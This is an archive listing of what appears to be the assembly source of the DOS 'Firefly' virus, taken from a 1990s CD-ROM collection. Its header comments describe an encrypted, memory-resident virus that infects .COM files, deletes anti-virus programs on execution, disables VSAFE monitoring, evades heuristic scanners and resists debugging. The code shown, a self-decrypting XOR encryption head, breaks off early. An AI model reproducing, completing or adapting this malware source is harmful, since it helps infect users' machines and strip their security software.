home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / FIREFLY.ASM < prev    next >
Assembly Source File  |  1996-03-17  |  3KB  |  63 lines

  1. ;FIREFLY virus, by Nikademus.                
  2. ;
  3. ;Firefly is an encrypted, memory resident virus which infects
  4. ;.COMfiles on load.  It incorporates code from Proto-T, 
  5. ;LokJaw and YB-X viruses and, when in memory, attacks a large selection
  6. ;of anti-virus programs as they are executed.  Anti-virus programs
  7. ;identified by Firefly's execute/load handler are deleted.
  8. ;Firefly incorporates simple code from previous issues of the newsletter
  9. ;designed to de-install generic VSAFE resident virus activity
  10. ;filters designed for Microsoft by Central Point Software.  It
  11. ;contains instructions - specifically a segment of pseudo-nested 
  12. ;loops - which spoof F-Protect's expert system generic virus
  13. ;identification feature.
  14. ;
  15. ;FIREFLY also includes a visual marker tied to the system timer
  16. ;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
  17. ;and ScrollLock LEDs on the keyboard.  This produces a noticeable
  18. ;twinkling effect when the virus is active on a machine.
  19. ;
  20. ;Anti-anti-virus measures used by Firefly vary in effectiveness
  21. ;dependent upon how a user employs software.  For example, while
  22. ;Firefly is designed to delete the Victor Charlie anti-virus
  23. ;shell, VC.EXE, a user who employs the software packages utilities
  24. ;for generic virus detection singly, will not be interfered with
  25. ;by the virus. Your results may vary, but the virus does effectively
  26. ;delete anti-virus programs while in memory unless steps are taken
  27. ;beforehand to avoid this.
  28. ;
  29. ;Firefly incorporates minor code armoring techniques designed to thwart
  30. ;trivial debugging.
  31.  
  32.                 
  33.                 
  34.                 .radix 16
  35.      code       segment
  36.                 model  small
  37.                 assume cs:code, ds:code, es:code
  38.  
  39.                 org 100h
  40.  
  41. len             equ offset last - start
  42. vir_len         equ len / 16d                    ; 16 bytes per paragraph 
  43. encryptlength   equ (last - begin)/4+1
  44.  
  45.  
  46.  
  47. start:
  48.                 mov bx, offset begin        ; The Encryption Head
  49.                 mov cx, encryptlength       ;
  50. encryption_loop:                            ;
  51.                 db      81h                 ; XOR WORD PTR [BX], ????h
  52.                 db      37h                 ;
  53. encryption_value_1:                         ;
  54.                 dw      0000h               ;
  55.                                             ;
  56.                 db      81h                 ; XOR WORD PTR [BX+2], ????h
  57.                 db      77h                 ;
  58.                 db      02h                 ; 2 different random words
  59. encryption_value_2:                         ; give 32-bit encryption
  60.                 dw      0000h               ;
  61.                 add     bx, 4               ;
  62.  
  63.